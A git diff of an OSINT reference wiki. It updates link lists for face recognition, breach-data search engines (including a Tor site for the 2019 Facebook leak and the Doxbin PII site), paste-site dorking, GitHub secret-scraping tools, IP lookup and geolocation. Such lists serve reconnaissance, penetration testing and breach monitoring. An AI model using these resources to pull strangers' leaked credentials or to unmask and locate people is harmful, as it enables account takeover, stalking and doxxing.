[PimEyes](https://pimeyes.com/en) - Facial recognition and reverse image search -* [Portrait Matcher](http://zeus.robots.ox.ac.uk/portraitmatcher/index?error=agree) — Upload a picture of a face and get three paintings that show similar people. -* [FindFace](https://findface.pro/) - Russian face search engine. +* [PimEyes](https://pimeyes.com/en) - Powerful facial recognition and reverse image search engine. Requires paid subscription for detailed results and alerts. +* [FindFace](https://findface.pro/) - Russian face search engine. Searches VK and other Russian social networks. * [Face Recognition](https://github.com/ageitgey/face\_recognition) — facial recognition api for Python and the command line * [Search4faces.com](https://search4faces.com/) — search people in VK, Odnoklassniki, TikTok and ClubHouse by photo or identikit @@ -115,50 +117,53 @@ Clothing/Shopping -{% file src="../../.gitbook/assets/Images.html" %} +Local helper copy: [Images.html](../../.gitbook/assets/Images.html) -{% file src="../../.gitbook/assets/Videos (1).html" %} +Local helper copy: [Videos.html](../../.gitbook/assets/Videos.html) ## **Breach/Leak/Paste data** -Looking for easy creds? Linked data? Password hash? Breaches can be a trove for low hanging fruit for those targeting those not diligent with their cyber hygiene. Often times, the credentials found in large data breaches will turn into password lists such as the infamous rockyou.txt password list that came from a sizeable breach in 2009. +Data breaches provide a treasure trove of information including credentials, linked data, and password hashes. These breaches often expose individuals and organizations with poor cybersecurity hygiene. Credentials from major breaches frequently become the basis for password lists used in attacks, such as the infamous rockyou.txt wordlist originating from a 2009 breach. -The below tools and links can be used to parse data in known data breaches and leaks, or be used for detection and alert for the presence of credentials when new breach data is reported.\ +The tools and resources below can be used to search known data breaches and leaks, as well as to monitor and receive alerts when credentials appear in newly reported breach data.\ \ -Paste sites like Pastebin have recently changed their ability to be parsed. Pastebin itself has removed the ability to to search its pastes. However, with a bit of clever google dorking, you can still search for breach data by submitting your search along with "insite:pastebin.com" +Paste sites like Pastebin have recently restricted their search capabilities. Pastebin itself has removed the ability to directly search its pastes. However, you can still search for breach data using Google dorks by including "site:pastebin.com" in your search query.
Breach Report and Search Tools -* [https://www.dehashed.com/](https://www.dehashed.com/) - Premium but well worth it, Breach data site. Can search by multiple types of indicators like email, IP, address, domain, even password. -* [Have I Been Pwned](https://haveibeenpwned.com/) - Check if your email has been compromised in a data breach -* [Scylla](https://scylla.so/) - One of the greatest breach parsing tools available. +* [DeHashed](https://www.dehashed.com/) - Premium breach search engine (paid subscription required). Search by email, username, IP address, physical address, phone, domain, VIN, and more. One of the most comprehensive breach databases available. +* [Have I Been Pwned](https://haveibeenpwned.com/) - Free service to check if your email or phone has been compromised in a data breach. Created by Troy Hunt. Includes Pwned Passwords API. +* [Scylla](https://scylla.so/) - Community-driven breach data search platform. Free to use with registration. * [https://leak-lookup.com/](https://leak-lookup.com/) - Leak-Lookup allows you to search across thousands of data breaches to stay on top of credentials that may have been compromised, allowing you to proactively stay on top of the latest data leaks with ease. AKA Citadel * [https://breachdirectory.org](https://breachdirectory.org) - Search via email address, username or phone number to see censored passwords. They also provide the full password as a SHA-1 hash, which can easily be cracked. -* [https://mypwd.io/](https://mypwd.io/) - A tool for monitoring leaked passwords for accounts linked to emails. Actually shows you the leaked passwords. -* [https://leaked.site/](https://leaked.site/) - Another leaked database search. Requires a paid subscription. -* [https://weleakinfo.to/](https://weleakinfo.to/) - Provides you the best leaked breached databases downloads. Requires a paid subscription. -* [Snusbase](https://snusbase.com/) - Stay on top of the latest database breaches -* [LeakCheck.io](https://leakcheck.io/) - Make sure your credentials haven't been compromised -* [BreachForums](https://breached.to/) - Breaches, Data leaks, databases and more +* [https://leaked.site/](https://leaked.site/) - Leaked database search with extensive coverage. Requires paid subscription. +* [Snusbase](https://snusbase.com/) - Breach database search with frequent updates and large collection. Paid subscription required. +* [LeakCheck.io](https://leakcheck.io/) - Breach database search service. Offers both API access and web interface. Paid plans available. +* [Intelligence X](https://intelx.io/) - Search engine and data archive with breach data, darknet sources, pastes, and historical internet data. Offers free searches with limitations and paid plans. +* [Pwndb](http://pwndb2am4tzkvold.onion/) - Tor-based breach database search (requires Tor browser) +* [h8mail](https://github.com/khast3x/h8mail) - Email OSINT and breach hunting tool that queries multiple breach data sources via API * [http://4wbwa6vcpvcr3vvf4qkhppgy56urmjcj2vagu2iqgp3z656xcmfdbiqd.onion/](http://4wbwa6vcpvcr3vvf4qkhppgy56urmjcj2vagu2iqgp3z656xcmfdbiqd.onion/) - An .onion site that allows you to search through the full 2019 Facebook data breach.
-{% file src="../../.gitbook/assets/Breaches.html" %} +Local helper copy: [Breaches.html](../../.gitbook/assets/Breaches.html)
Paste Search Tools -* [https://psbdmp.ws/](https://psbdmp.ws/) - Pastebin search tool -* [Pastebin.com - #1 paste tool since 2002!](https://pastebin.com/) - Search through Paste dumps for various data. -* [https://pastebin.ga](https://pastebin.ga) - Allows you to search over 33 different paste sites. Uses a Google CSE. +* [https://psbdmp.ws/](https://psbdmp.ws/) - Pastebin dump search and monitoring service. Indexes pastes in real-time. +* [Pastebin.com](https://pastebin.com/) - Popular paste hosting site. Direct search functionality removed; use Google dorks with `site:pastebin.com` to search. * [https://redhuntlabs.com/online-ide-search](https://redhuntlabs.com/online-ide-search) - Search and find strings across multiple IDEs, code aggregators and paste sites. * [https://doxbin.org](https://doxbin.org) - A document sharing and publishing website which invites users to contribute personally identifiable information (PII), or a "dox" of any person of interest. It previously operated on the darknet as a TOR hidden service. * Search for Doxbin/Databin in TOR * [https://cipher387.github.io/pastebinsearchengines/](https://cipher387.github.io/pastebinsearchengines/) - 5 Google Custom Search Engine for search 48 pastebin sites +* [Rentry.co](https://rentry.co/) - Markdown-based pastebin gaining popularity as an alternative to traditional paste sites +* [Justpaste.it](https://justpaste.it/) - Popular paste site frequently used for leak distribution +* [Telegram](https://t.me/) - Many data leaks and breach discussions now occur in Telegram channels. Search for relevant channels using keywords. +* [Discord](https://discord.com/) - Discord servers frequently host breach discussions and data sharing. Use server discovery tools to find relevant communities.
@@ -167,10 +172,9 @@ Paste sites like Pastebin have recently changed their ability to be parsed. Past Misc Tools and Resources * [Search WikiLeaks](https://search.wikileaks.org/) -* [Cryptome](https://cryptome.org/) - Archive of publicly leaked documents. Usually government related. -* [easy-to-read breach list](https://breachalarm.com/sources) - Easy and helpful tracker for breach data. -* [Firefox Monitor](https://monitor.firefox.com/) - Great tool for searching if your accounts have been found in a breach and can alert you when new breaches are discovered and parsed. -* [pwd query](https://pwdquery.xyz/) - Check if your passwords have been compromised from a data leak... +* [Cryptome](https://cryptome.org/) - Archive of publicly leaked documents since 1996. Usually government and intelligence-related. +* [Breach Alarm Sources](https://breachalarm.com/sources) - Comprehensive, easy-to-read list tracking known data breaches. +* [Firefox Monitor](https://monitor.firefox.com/) - Mozilla's free breach monitoring service. Checks if your accounts appear in known data breaches and provides alerts for new breaches. Powered by Have I Been Pwned data. * [Analysis Information Leak framework](https://github.com/ail-project/ail-framework) - AIL is a modular framework to analyze potential information leaks from unstructured data sources like pastes from Pastebin or similar services or unstructured data streams. * [breach-parse](https://github.com/hmaverickadams/breach-parse) - A tool for parsing breached passwords by The Cyber Mentor. Repo also contains large breach data collections. * [https://www.reddit.com/r/DataHoarder/](https://www.reddit.com/r/DataHoarder/) - This is a sub that aims at bringing data hoarders together to share their passion with like minded people. @@ -182,34 +186,43 @@ Paste sites like Pastebin have recently changed their ability to be parsed. Past ## Code Repositories -Ah the gold mine of git repositories. So at the time of writing this, we are still in the golden age of security ignorance in coding. DevSecOps has not yet fully caught on, and software engineers everywhere post up this tid-bits of insecure code for storage later, or post a bit if their config file on a forum asking for help. Little did they realize that in that bit of the config file, they accidentally posted their creds! These are a few examples of the fun things we can find when checking code repositories. Now searching for these is usually limited to the context of a penetration test against an organization where you know they have software engineers bust creating the next great thing. +Code repositories represent a goldmine for security reconnaissance. Despite growing awareness, many organizations still lack mature DevSecOps practices. Software engineers frequently commit sensitive information to public repositories—whether storing code snippets for later use or posting configuration files on forums when seeking help. Often, these seemingly innocent posts inadvertently expose credentials and other sensitive data. Repository searches are particularly valuable during penetration tests against organizations with active software development teams. -There are many great options out there for code repositories, but there are 4 that are the gold standard for checking. +While numerous code repository platforms exist, the following are considered essential for security reconnaissance: * Github - [https://github.com/](https://github.com/) * GitLab - [https://about.gitlab.com/](https://about.gitlab.com/) +* Bitbucket - [https://bitbucket.org/](https://bitbucket.org/) * Stack Overflow - [https://stackoverflow.com/](https://stackoverflow.com/) * Source Forge - [https://sourceforge.net/](https://sourceforge.net/) +* Gitea - [https://gitea.io/](https://gitea.io/) - Self-hosted Git service; many organizations run public instances You can manually parse these by user or subject but there are some handy tools that can help search and keep track. +**Important Search Techniques:** +* **Certificate Transparency Logs** - Use [crt.sh](https://crt.sh/) to find subdomains that may host development servers or exposed repositories +* **Archive.org for Deleted Content** - Check archived versions of repository pages or organization profiles for deleted repos or commits +* **GitHub Gist Search** - Don't forget GitHub Gists, which often contain sensitive snippets: `site:gist.github.com "company-name"` +* **Docker Hub Search** - [hub.docker.com](https://hub.docker.com/) may reveal organization repositories with embedded secrets in container images +* **NPM/PyPI Package Search** - Check package registries for organization-published packages that may contain sensitive configuration +
Code Repo Search Tools * [OSINT Stuff's CSE for search 20 source code hosting services](https://cipher387.github.io/code\_repository\_google\_custom\_search\_engines/) -* [Gitrob](https://github.com/michenriksen/gitrob) - Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. -* [Git all secrets](https://github.com/anshumanbh/git-all-secrets) - Clone different gits and automatically scan them for secrets. -* [Truffle Hog](https://github.com/dxa4481/truffleHog) - Searches through git repositories for secrets, digging deep into commit history and branches. This is effective at finding secrets accidentally committed. - * [trufflehog3](https://github.com/feeltheajf/trufflehog3) - This is an enhanced version of the [truffleHog](https://github.com/dxa4481/truffleHog) scanner -* [gitleaks](https://www.kali.org/tools/gitleaks/) - This package contains a SAST tool for detecting hardcoded secrets like passwords, API keys, and tokens in git repos. Gitleaks aims to be the easy-to-use, all-in-one solution for finding secrets, past or present, in your code. -* [GitDorker](https://github.com/obheda12/GitDorker) - A Python program to scrape secrets from GitHub through usage of a large repository of dorks. - * [https://youtu.be/UwzB5a5GrZk](https://youtu.be/UwzB5a5GrZk) +* [TruffleHog](https://github.com/trufflesecurity/trufflehog) - Actively maintained and recommended. Searches git repositories for secrets across commit history and branches. Features 700+ credential detectors, high-entropy string detection, and verification of findings. +* [Gitleaks](https://www.kali.org/tools/gitleaks/) - Fast SAST tool for detecting hardcoded secrets like passwords, API keys, and tokens in git repos. Supports custom rules and integrates with CI/CD pipelines. +* [GitDorker](https://github.com/obheda12/GitDorker) - Python tool to scrape secrets from GitHub using an extensive dork repository. Useful for automated GitHub reconnaissance. * [Repo Supervisor](https://github.com/auth0/repo-supervisor) - Find secrets and passwords in your code * [Watchman](https://papermtn.co.uk/gitlab-github-watchman/) - Git change monitor * [https://grep.app/](https://grep.app/) - A search engine for contents of Git Repos * [gitoops](https://github.com/ovotech/gitoops) - GitOops is a tool to help attackers and defenders identify lateral movement and privilege escalation paths in GitHub organizations by abusing CI/CD pipelines and GitHub access controls. * [https://searchcode.com/](https://searchcode.com/) - Search 75 billion lines of code from 40 million projects +* [Sourcegraph](https://sourcegraph.com/search) - Universal code search across multiple repositories with powerful search syntax +* [GitHub Advanced Search](https://github.com/search/advanced) - GitHub's native advanced search with extensive filters and operators +* [Semgrep](https://semgrep.dev/) - Static analysis tool for finding code patterns, useful for identifying security issues across repositories +* [https://publicwww.com/](https://publicwww.com/) - Source code search engine that lets you find any alphanumeric snippet in web page HTML, JS, and CSS code * [https://pentestbook.six2dez.com/enumeration/webservices/github](https://pentestbook.six2dez.com/enumeration/webservices/github)
@@ -235,5 +248,72 @@ You can manually parse these by user or subject but there are some handy tools t ## **Training** -* [https://tryhackme.com/room/geolocatingimages](https://tryhackme.com/room/geolocatingimages) -* [https://tryhackme.com/room/searchlightosint](https://tryhackme.com/room/searchlightosint) +Hands-on OSINT labs have been moved to the Training section. + +{% content-ref url="../../training/" %} +[training](../../training/) +{% endcontent-ref %} + +--- + +## **Deprecated/Legacy Tools** + +The following tools are no longer maintained, have been shut down, or have better alternatives. They are listed here for historical reference and in case they become available again. + +
+ +Deprecated Document Search Tools + +* [UVRX.com](http://www.uvrx.com/) - File storage search engine (Site defunct/unreliable) +* [Palined.com](http://palined.com/search/) - Open directory search (Site defunct) + +
+ +
+ +Deprecated Image/Video Tools + +* [Portrait Matcher](http://zeus.robots.ox.ac.uk/portraitmatcher/index?error=agree) - Face to painting matcher (Service no longer available) +* [Pictriev](http://pictriev.com/) - Face search engine (Service frequently unavailable/unreliable) + +
+ +
+ +Deprecated Breach Search Tools + +* [WeLeakInfo.to](https://weleakinfo.to/) - Seized by law enforcement in 2020. Was a major breach database search site. +* [BreachForums at breached.to](https://breached.to/) - Seized/disrupted and no longer a stable source. Breach forums frequently rebrand or move domains; verify current legal and safety implications before researching any successor. +* [GhostProject.fr](https://ghostproject.fr/) - Free breach database search (Site frequently unavailable/unreliable) +* [MyPwd.io](https://mypwd.io/) - Password leak monitoring (Service status unreliable) +* [pwd query](https://pwdquery.xyz/) - Password breach checking (Site frequently down) + +
+ +
+ +Deprecated Paste Search Tools + +* [Pastebin.ga](https://pastebin.ga/) - Multi-paste site search (Site defunct) +* [PasteLert](https://andrewmohawk.com/pasteLert/) - Paste monitoring service (Service no longer maintained) + +
+ +
+ +Deprecated Code Repository Tools + +* [Gitrob](https://github.com/michenriksen/gitrob) - No longer maintained. Use TruffleHog or GitLeaks instead. +* [Git-all-secrets](https://github.com/anshumanbh/git-all-secrets) - No longer actively maintained. Consider alternatives like TruffleHog. +* [TruffleHog Legacy](https://github.com/dxa4481/truffleHog) - Original version, superseded by TruffleHog v3+ +* [trufflehog3](https://github.com/feeltheajf/trufflehog3) - Enhanced fork, but official TruffleHog now incorporates similar features + +
+ +
+ +Deprecated Presentation Tools + +* [Slideshare-downloader](https://slideshare-downloader.herokuapp.com/) - Heroku free tier deprecated, service may be unreliable + +
diff --git a/cyber-intelligence/osint/ip-address.md b/cyber-intelligence/osint/ip-address.md index ada1b53..71e1274 100644 --- a/cyber-intelligence/osint/ip-address.md +++ b/cyber-intelligence/osint/ip-address.md @@ -1,51 +1,94 @@ # IP Address -## **IP Address** +Use this page for passive IP investigation: registration data, ASN ownership, BGP/routing context, geolocation, anonymization checks, and related infrastructure pivots. Active port scanning belongs in Red Offensive; reputation and blacklist checks belong in Threat Data. -When researching IP addresses, it is important to know the context of the search you are performing. There are a multitude of sources to research IP addresses and they can vary depending on what information you want to learn about them. For offensive security, threat hunting, and attack surface mapping, we want current registration data, and any associated data points that our searches may return. These can include hosted domains, ASN, associated network artifacts, etc. +{% content-ref url="../threat-data.md" %} +[threat-data.md](../threat-data.md) +{% endcontent-ref %} -For defensive operations, such as those of the security blue team, you would be looking for historical data and activity data of the IP address. These tools will be detailed in another section about threat research. The below links and tools are specifically for offensive intelligence gathering and reconnaissance. +{% content-ref url="../../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../../red-offensive/scanning-active-recon/) +{% endcontent-ref %} -**IP.html** +## IP.html Tool -IP.html is another handy little tool created by Michael Bazzel that makes initial research of an IP address quite easy. This tool will populate multiple searches automatically for you to see what information you can gather about your target. +IP.html is a Michael Bazzell helper that opens multiple IP research sources from one input. -Sites Include: Bing, Reverse IP, Locate IP, Port Scan, IP Whois, TraceRoute, Who.IS IP, Cynsys, ThreatCrowd, Shodan, ZoomEye, Torrents, "That's Them", WeLeakInfo, Dehashed, and UltraTools IP. +{% hint style="info" %} +Some entries in older IP.html workflows may be stale or active recon oriented. Treat port scanning as active testing, and verify each external service before relying on it. +{% endhint %} -{% file src="../../.gitbook/assets/IP (1).html" %} +Current useful lookup categories include: +* **Search engines** - Bing and other indexed references. +* **Registration data** - IP WHOIS and RDAP. +* **Network ownership** - ASN, routing, reverse IP, and infrastructure pivots. +* **Cyber search** - Shodan, ZoomEye, and similar indexed scan data. +* **Public records** - Identity or breach pivots where legally appropriate. +Local helper copy: [IP.html](../../.gitbook/assets/IP.html) -### **Whois Vs. RDAP** +## WHOIS vs. RDAP -Whois is a great tool for gathering registration data for IP addresses and domains. The only problem with it is that there is not a clearly defined structure to organize registration data points and keep them maintained. Enter RDAP. A new Standard as of 2019, RDAP lookups will quickly replace WHOIS lookups. +WHOIS is the older protocol for IP and domain registration lookups. It is useful, but response formatting varies between registries. -* RDAP lookup tool - [https://client.rdap.org](https://client.rdap.org) -* General information on RDAP - [https://www.icann.org/rdap](https://www.icann.org/rdap) +RDAP (Registration Data Access Protocol) is the modern structured replacement. The RFC 7480 series was published in 2015, and RDAP adoption has continued across registries since then. -### **Is this a Tor Node?** +* [RDAP Lookup](https://client.rdap.org) +* [ICANN RDAP](https://www.icann.org/rdap) -Maybe? Check it with this! [https://metrics.torproject.org/exonerator.html](https://metrics.torproject.org/exonerator.html) +## ASN Lookup -Torrent IP addresses **-** [https://iknowwhatyoudownload.com](https://iknowwhatyoudownload.com) +Autonomous System Numbers (ASNs) help identify who controls routed IP space and how infrastructure relates to providers, peers, and prefixes. -[https://seon.io/intelligence-tool/#ip-analysis-module](https://seon.io/intelligence-tool/#ip-analysis-module) - Check if an IP is a tor node, VPN, proxy and even run a blacklist check. +* [Hurricane Electric BGP Toolkit](https://bgp.he.net/) - ASN, prefix, peering, WHOIS, and DNS context. +* [ASNLookup](https://asnlookup.com/) - Quick ASN and prefix lookup. +* [RIPE Stat](https://stat.ripe.net/) - IP, ASN, and routing statistics. +* [MXToolbox ASN Lookup](https://mxtoolbox.com/asn.aspx) - ASN lookup with network details. +* [ipinfo.io](https://ipinfo.io/) - ASN, geolocation, organization, and IP metadata. +* [UltraTools ASN Info](https://www.ultratools.com/tools/asnInfo) -### Is this a VPN Exit Node? +## BGP and Routing Information -* [https://www.ipqualityscore.com/vpn-ip-address-check](https://www.ipqualityscore.com/vpn-ip-address-check) +* [BGPView](https://bgpview.io/) - ASN details, prefixes, peers, and routing data. +* [RIPE RIS](https://www.ripe.net/analyse/internet-measurements/routing-information-service-ris) - Real-time BGP routing data. +* [Route Views](https://www.routeviews.org/) - BGP route archives. +* [bgp.tools](https://bgp.tools/) - Modern BGP and ASN analysis. +* [PeeringDB](https://www.peeringdb.com/) - Peering and interconnection data. -### **IP Location Info** +## IP Anonymization Detection - There are a several ways to find [geolocation](https://www.iplocation.net/geolocation) of a user: HTML5 API, Cell Signal and IP Address to name a few. If you have an IP Address and want to find the geolocation data for the target, the below sites use various methods to determine that data. +These tools help identify Tor exits, VPN/proxy services, and other anonymization infrastructure. Cross-reference results before making enforcement decisions. -\*Note: It is recommended that you use as many tools as possible for a consensus determination on the location. Some times results will show the location of the registrant, but not the location of the IP in use. +* [ExoneraTor](https://metrics.torproject.org/exonerator.html) - Check whether an IP was a Tor relay on a specific date. +* [SEON IP Analysis](https://seon.io/intelligence-tool/#ip-analysis-module) - IP risk, Tor, VPN, proxy, and blacklist context. +* [IPQualityScore VPN IP Check](https://www.ipqualityscore.com/vpn-ip-address-check) - VPN and proxy detection. +* [I Know What You Download](https://iknowwhatyoudownload.com) - Torrent activity associated with an IP address. -* [https://www.iplocation.net/](https://www.iplocation.net/) -* [https://www.ip2location.com/](https://www.ip2location.com/) -* [https://www.ipfingerprints.com/](https://www.ipfingerprints.com/) -* [https://ipstack.com/](https://ipstack.com/) +Tor and VPN OPSEC guidance lives in the privacy section. -### Misc Tools +{% content-ref url="../../grey-privacy-tor-opsec/" %} +[grey-privacy-tor-opsec](../../grey-privacy-tor-opsec/) +{% endcontent-ref %} -* [https://focsec.com/](https://focsec.com/) - Determine if a user’s IP address is associated with a VPN, Proxy, TOR or malicious bots +## IP Geolocation + +IP geolocation is approximate. Results can reflect ISP registration, VPN/proxy exit location, cloud region, or mobile carrier infrastructure rather than a user's physical location. + +* [IPLocation.net](https://www.iplocation.net/) +* [IP2Location](https://www.ip2location.com/) +* [ipapi](https://ipapi.com/) +* [ipstack](https://ipstack.com/) +* [MaxMind GeoIP Demo](https://www.maxmind.com/en/geoip-demo) + +## Additional IP Intelligence Tools + +* [Focsec](https://focsec.com/) - IP reputation API for VPN, proxy, Tor, and bot detection. + +## Deprecated or Unreliable Tools + +These are preserved for historical reference or because they may appear in older IP.html workflows. + +* **Google cached pages** - Google removed the classic cached-page feature from search results. +* **Legacy public port-scan widgets** - Treat as active testing and use current authorized scanning workflows instead. +* **Unmaintained IP reputation mirrors** - Prefer current providers listed on Threat Data. diff --git a/cyber-intelligence/osint/misc-osint.md b/cyber-intelligence/osint/misc-osint.md index 9751cd0..afdd0f2 100644 --- a/cyber-intelligence/osint/misc-osint.md +++ b/cyber-intelligence/osint/misc-osint.md @@ -7,99 +7,132 @@ Bot Hunting Tools * [https://botsentinel.com/](https://botsentinel.com/) - Bot Sentinel is a free non-partisan platform developed to classify and track inauthentic accounts and toxic trolls. -* [https://botometer.osome.iu.edu/](https://botometer.osome.iu.edu/) - Botometer (formerly BotOrNot) checks the activity of a Twitter account and gives it a score. Higher scores mean more bot-like activity. -* [https://hoaxy.osome.iu.edu/](https://hoaxy.osome.iu.edu/) - Visualize the spread of a tweet to determine if it is artifically propagated. -* [https://csmr.umich.edu/projects/iffy-quotient/](https://csmr.umich.edu/projects/iffy-quotient/) - The Iffy Quotient is a metric for how much content from “Iffy” sites has been amplified on Facebook and Twitter. +* [https://botometer.osome.iu.edu/](https://botometer.osome.iu.edu/) - Botometer (formerly BotOrNot) checks the activity of a Twitter/X account and gives it a score. Higher scores indicate more bot-like activity. Note: May have limitations due to Twitter API restrictions. +* [https://hoaxy.osome.iu.edu/](https://hoaxy.osome.iu.edu/) - Visualize the spread of a tweet to determine if it is artificially propagated. +* [https://csmr.umich.edu/projects/iffy-quotient/](https://csmr.umich.edu/projects/iffy-quotient/) - The Iffy Quotient is a metric for how much content from "Iffy" sites has been amplified on Facebook and Twitter/X. * [https://www.io-archive.org/#/](https://www.io-archive.org/#/) - The Information Operation Archive hosts publicly available and rigorously attributed datapoints from known Information Operations on social media platforms. -* [http://twittertrails.com/](http://twittertrails.com/) - A tool that allows members of the media to track the trustworthiness of stories shared on Twitter -* [https://botscout.com/search.htm](https://botscout.com/search.htm) - Search a bot name, email, or IP address and it returns internal intelligence related to Bot activity. +* [https://botscout.com/search.htm](https://botscout.com/search.htm) - Search for bot names, email addresses, or IP addresses to retrieve intelligence related to bot activity. +* [https://accountanalysis.app/](https://accountanalysis.app/) - Analyzes Twitter/X accounts for bot-like behavior with detailed metrics. -### **Vehicle/Automotive** +## **Vehicle/Automotive** -* [OSHINT Vehicle INT links](https://ohshint.gitbook.io/oh-shint-its-a-blog/osint-web-resources/vehicle-and-transportation-intelligence-vatint) +* [OSHINT Vehicle Intelligence Links](https://ohshint.gitbook.io/oh-shint-its-a-blog/osint-web-resources/vehicle-and-transportation-intelligence-vatint)
-Vin/Lincese Search +VIN/License Search -* [NHTSA Product Information Catalog and Vehicle Listing](https://vpic.nhtsa.dot.gov/) -* [AutoCheck.com](https://www.autocheck.com/vehiclehistory/?siteID=0) - Search VIN or plate # -* [License Plate Lookup Online - Car Plate Search](https://recordsfinder.com/plate/) -* [SearchQuarry - Background Checks, License Plate Searches, & More](https://www.searchquarry.com/) -* [Check Any VIN Title By License Plate #](https://www.vehiclehistory.com/license-plate-search) +* [NHTSA Product Information Catalog and Vehicle Listing](https://vpic.nhtsa.dot.gov/) - Official database for vehicle product information and VIN decoding. +* [AutoCheck.com](https://www.autocheck.com/vehiclehistory/?siteID=0) - Search VIN or license plate for vehicle history. +* [License Plate Lookup Online - Car Plate Search](https://recordsfinder.com/plate/) - Lookup vehicle information by license plate. +* [SearchQuarry - Background Checks, License Plate Searches, & More](https://www.searchquarry.com/) - Comprehensive background check and license plate search service. +* [Check Any VIN Title By License Plate](https://www.vehiclehistory.com/license-plate-search) - Verify VIN and title information using license plate numbers. +* [VINCheck.info](https://www.nicb.org/vincheck) - NICB's free VIN check service for theft and salvage records. +* [EpicVIN](https://www.epicvin.com/) - Free VIN decoder with vehicle history summaries.
-{% file src="../../.gitbook/assets/License.html" %} +Local helper copy: [License.html](../../.gitbook/assets/License.html) -### **Cryptocurrencies** +## **Cryptocurrencies** + +Core blockchain explorers are also listed on Threat Data. This page keeps investigation-oriented cryptocurrency OSINT tools, reputation lookups, and wallet-tracing helpers.
Cryptocurrency Search Tools -* [https://www.blockchain.com/](https://www.blockchain.com/) - Queries blockchain.info to find the balance of identified bitcoin wallet addresses. -* [https://bitcoinwhoswho.com/](https://bitcoinwhoswho.com/) - Bitcoin verification tool used to check bitcoin addresses for malicious reputation. -* [https://www.bitcoinabuse.com/](https://www.bitcoinabuse.com/) - Check Bitcoin addresses against the bitcoinabuse.com database of suspect/malicious addresses. +* [https://www.blockchain.com/](https://www.blockchain.com/) - Queries blockchain.info to find the balance of identified Bitcoin wallet addresses. +* [https://bitcoinwhoswho.com/](https://bitcoinwhoswho.com/) - Bitcoin verification tool used to check Bitcoin addresses for malicious reputation. +* [https://www.bitcoinabuse.com/](https://www.bitcoinabuse.com/) - Check Bitcoin addresses against the bitcoinabuse.com database of suspected or malicious addresses. * [https://zerodot1.gitlab.io/CoinBlockerListsWeb/](https://zerodot1.gitlab.io/CoinBlockerListsWeb/) - Cryptojacking IP address blocklists. -* [https://etherscan.io](https://etherscan.io) - Queries etherscan.io to find the balance of identified ethereum wallet addresses. -* [Wallet explorer](https://www.walletexplorer.com/) — bitcoin wallet transaction history -* [Blockpath.com](https://blockpath.com/) — viewing bitcoin wallet transactions as a graph -* [Cryptocurrency alerting](https://cryptocurrencyalerting.com/) — track spending and deposits in Bitcoin and Ethereum wallets -* [Learnmebitcoin.com](https://learnmeabitcoin.com/tools/path/) — find transactions between two Bitcoin adresses -* [Coinwink.com](https://coinwink.com/) — allows you to set up email notifications in case Bitcoin (or other #cryptocurrency) rate rises (falls) above (below) a certain value -* [BlockCypher](https://blockcypher.herokuapp.com/) — Blockchain explorer for Bitcoin, Ethereum, Litecoin, DogeCoin, Dash. Getting into about address, transactions and block hashes, block number or wallet name. +* [https://etherscan.io](https://etherscan.io) - Queries etherscan.io to find the balance of identified Ethereum wallet addresses. +* [Wallet Explorer](https://www.walletexplorer.com/) - Bitcoin wallet transaction history lookup. +* [Blockpath.com](https://blockpath.com/) - Visualize Bitcoin wallet transactions as an interactive graph. +* [Cryptocurrency Alerting](https://cryptocurrencyalerting.com/) - Track spending and deposits in Bitcoin and Ethereum wallets. +* [Learnmebitcoin.com](https://learnmeabitcoin.com/tools/path/) - Find transactions between two Bitcoin addresses. +* [Coinwink.com](https://coinwink.com/) - Set up email notifications for cryptocurrency price alerts when rates rise or fall above or below specified values. +* [Mempool.space](https://mempool.space/) - Bitcoin blockchain and mempool visualizer with transaction tracking. +* [BscScan](https://bscscan.com/) - Binance Smart Chain explorer for BEP-20 tokens and transactions. +* [PolygonScan](https://polygonscan.com/) - Polygon network blockchain explorer. +* [Tronscan](https://tronscan.org/) - TRON blockchain explorer for TRX and TRC tokens. +* [OXT.me](https://oxt.me/) - Bitcoin transaction visualization and analysis tool.
-{% file src="../../.gitbook/assets/Currencies.html" %} +Local helper copy: [Currencies.html](../../.gitbook/assets/Currencies.html) -### **Location** +## **Location**
Geolocation Search Tools -* [goKML.net :: short links for KML content](http://gokml.net/) - Embed KML requests in resources and return geolocation data when they are accessed. -* [https://www.geocreepy.com/](https://www.geocreepy.com/) - A Geolocation OSINT Tool. Offers geolocation information gathering through social networking platforms. -* [https://www.sentinel-hub.com/](https://www.sentinel-hub.com/) - Cloud API for Sattelite Imagery +* [https://www.sentinel-hub.com/](https://www.sentinel-hub.com/) - Cloud API for satellite imagery. +* [SunCalc](https://www.suncalc.org/) - Calculate sun position, shadow length, and time of day for geolocation verification. +* [What3Words](https://what3words.com/) - Convert coordinates to/from 3-word addresses for precise location identification. +* [Overpass Turbo](https://overpass-turbo.eu/) - Query and extract OpenStreetMap data for specific locations. +* [Google Earth Pro](https://www.google.com/earth/versions/) - Advanced satellite imagery with historical imagery features for geolocation analysis.
-{% file src="../../.gitbook/assets/Location.html" %} +Local helper copy: [Location.html](../../.gitbook/assets/Location.html) ![](<../../.gitbook/assets/image (35).png>) -### WiFi Networks +## **WiFi Networks**
Wifi Network Search Tools -* [Wigle.net](https://wigle.net/) - Maps and database of 802.11 wireless networks with statistics -* [wifimap.io](https://www.wifimap.io/) - Connect to all Free WiFi Hotspots using WiFi Map App all over the World! -* [wificafespots.com](http://www.wificafespots.com/) - Free WiFi Cafe Spots -* [wifispc.com](https://wifispc.com/) - Free map of Wi-Fi passwords anywhere you go! -* [openwifimap.net](https://openwifimap.net/) - HTML5 map with OpenWiFiMap data -* [mylnikov.org](https://www.mylnikov.org/) - Public API implementation of Wi-Fi Geo-Location database +* [Wigle.net](https://wigle.net/) - Maps and database of 802.11 wireless networks with statistics. +* [wifimap.io](https://www.wifimap.io/) - WiFi Map app for connecting to free WiFi hotspots worldwide. +* [openwifimap.net](https://openwifimap.net/) - HTML5 map with OpenWiFiMap data.
